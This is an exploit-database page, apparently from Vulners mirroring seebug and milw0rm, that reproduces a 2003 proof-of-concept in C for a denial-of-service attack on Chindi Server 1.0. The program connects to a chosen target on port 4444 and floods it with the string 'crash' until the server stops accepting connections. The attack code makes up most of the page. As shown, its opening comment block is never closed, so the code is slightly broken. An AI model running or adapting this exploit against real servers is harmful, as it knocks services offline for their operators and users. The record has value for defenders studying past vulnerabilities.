Lucene search
K

Chindi Server 1.0 Denial of Service Exploit

🗓️ 18 Apr 2003 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 24 Views

Chindi Server 1.0 denial of service exploit allows flooding server with requests causing crash.

Code

                                                /***************************************************
* Chindi server 1.0  Denial of Service
* Proof of Concept by Luca Ercoli  luca.ercoli at inwind.it
* After DoS, server appears to be up, but will not allow
* new connections.                                           
****************************************************
 
#include <stdio.h>
#include <unistd.h>
#include <netdb.h>
#include <netinet/in.h>
#include <windows.h>
 
#define PORT    4444
#define DOS     "crash"
 
 
int main(int argc, char *argv[]){
 
int nOpt,count,sockfd;
struct hostent *he;
struct sockaddr_in server_addr;
 
char *host;
 
printf ("\nChindi server 1.0 remote DoS\n\n");
 
if(argc < 2 ) {
                printf ("Usage: %s -t target\n",argv[0]);
                exit(0);
        }
 
while((nOpt = getopt(argc, argv, "t")) != -1) {
 
        switch(nOpt) {
                        case 't':
                        host = optarg;
                        break;
                        default:exit(0);
                }
        }
 
if ((he = gethostbyname(argv[2])) == NULL)
          {
                  herror("gethostbyname");
                  exit(1);
          }
 
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(PORT);
server_addr.sin_addr = *((struct in_addr *) he->h_addr);
 
sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
 
if (connect (sockfd, (struct sockaddr *) &server_addr,sizeof(struct
sockaddr)) == -1)
          {
                  perror("Connect");
                  exit(1);
          }
 
printf("1. Connected\n");
sleep(1);
printf("2. Sending crash string\n");
sleep(1);
printf("3. Verifing server status: ");
sleep(1);
 
for (count=0; count<9999; count++)     send(sockfd,DOS,strlen(DOS),0);
 
close(sockfd);
 
 
// milw0rm.com [2003-04-18]
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation